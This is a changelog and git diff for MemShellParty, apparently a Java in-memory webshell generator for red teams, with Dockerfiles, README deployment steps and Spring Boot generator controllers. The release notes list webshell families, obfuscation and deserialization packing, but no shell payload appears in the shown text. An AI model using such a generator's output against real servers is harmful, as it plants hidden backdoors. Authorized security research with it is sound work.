|
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||||
|
|
||||||
|
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持自定义内存马生成 by @ReaJason(#49)
|
||||||
|
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
||||||
|
- 支持简易的代码混淆 by @ReaJason(#13)
|
||||||
|
- 支持自动发布 DEV 分支代码 CD
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Jetty 获取 Context 代码
|
||||||
|
- 优化 Dockerfile 减小镜像体积
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
||||||
|
|
||||||
|
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||||
|
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Valve 内存马代码
|
||||||
|
- 升级 Gradle 8.13
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||||
|
|
||||||
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
||||||
|
- 支持 Tomcat Jakarta WebSocket
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复自定义注入器类名不起作用
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||||
|
|
||||||
|
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||||
|
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||||
|
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||||
|
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||||
|
|
||||||
|
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- UI 中打包配置中添加 Loading 状态
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||||
|
|
||||||
|
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 移除无用依赖,JavaSocket,Gson
|
||||||
|
- Gradle 升级至 8.12.1
|
||||||
|
- 更新 TestContainers 和 Junit 的版本
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||||
|
|
||||||
|
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||||
|
|
||||||
|
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 AntSword 内存马生成 by @ReaJason
|
||||||
|
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||||
|
- 部分 UI 调整
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复随机类名如果为保留字时会无法加载
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||||
|
|
||||||
|
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Suo5 内存马生成 by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 升级 TailWind CSS v4
|
||||||
|
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 sonner 颜色主题未随着修改而变化
|
||||||
|
- 修复 IDEA 本地构建 version 一直是 unspecified
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
||||||
|
|
||||||
|
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||||
|
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||||
|
- 支持哥斯拉、冰蝎、命令执行功能
|
||||||
|
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
FROM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
FROM oven/bun:1.2.19 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,11 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -12,7 +17,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -24,12 +29,9 @@
|
|||||||
|
|
||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|

|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|

|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
@@ -47,7 +49,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -57,9 +59,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,6 +80,23 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 移除之前部署的
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
## User Guide
|
||||||
|
|
||||||
|
1. [适配情况](./docs/Compatibility.md)
|
||||||
|
2. [本地构建](./docs/BuildOnLocal.md)
|
||||||
|
3. [SDK 集成](./examples/memshell-party-maven-example)
|
||||||
|
4. [代码贡献](./CONTRIBUTING.md)
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
|
After Width: | Height: | Size: 130 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
RUN pip install requests
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
After Width: | Height: | Size: 265 KiB |
|
Before Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB |
|
Before Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.8"
|
id("org.springframework.boot") version "3.5.3"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,10 +21,9 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":packer")) {
|
implementation(project(":packer")) {
|
||||||
@@ -35,7 +34,7 @@ dependencies {
|
|||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
}
|
}
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.springframework.asm.ClassReader;
|
|
||||||
import org.springframework.cglib.core.ClassNameReader;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ClassNameParseController {
|
|
||||||
|
|
||||||
@PostMapping("/api/className")
|
|
||||||
public String className(@RequestBody String classBase64) {
|
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
@@ -17,7 +18,7 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
@@ -26,8 +27,7 @@ public class ConfigController {
|
|||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
|
||||||
.getShellInjectorMapping().getSupportedShellTypes();
|
|
||||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
@@ -46,13 +46,16 @@ public class ConfigController {
|
|||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
if (server == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (String shellTool : server.getSupportedShellTools()) {
|
for (ShellTool shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool, supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(supportedServer, map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -19,7 +19,7 @@ import java.util.Base64;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/memshell/generate")
|
@RequestMapping("/memshell/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class MemShellGeneratorController {
|
public class MemShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
|||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/probe/generate")
|
@RequestMapping("/probe/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ProbeShellGeneratorController {
|
public class ProbeShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/api/version")
|
@RequestMapping("/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,70 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
@Slf4j
|
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "redirect:/ui";
|
return "index";
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping({"/api/search", "/api/search.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(1);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
|
||||||
@SneakyThrows
|
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
|
||||||
return "index";
|
|
||||||
}
|
|
||||||
String docPath = fullPath.substring(4);
|
|
||||||
if (docPath.endsWith(".data")) {
|
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
|
||||||
try {
|
|
||||||
String templatePath = "templates/" + relativePath;
|
|
||||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
|
||||||
if (!resource.exists()) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
|
||||||
return "File not found: " + relativePath;
|
|
||||||
}
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
|
||||||
resource.getInputStream(),
|
|
||||||
StandardCharsets.UTF_8
|
|
||||||
);
|
|
||||||
return FileCopyUtils.copyToString(reader);
|
|
||||||
} catch (IOException e) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
|
||||||
return "Error reading file: " + e.getMessage();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,9 +2,9 @@ package com.reajason.javaweb.boot.dto;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,12 +18,11 @@ public class MemShellGenerateRequest {
|
|||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public static class ShellToolConfigDTO {
|
static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
private String commandTemplate;
|
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -37,50 +36,43 @@ public class MemShellGenerateRequest {
|
|||||||
return switch (shellConfig.getShellTool()) {
|
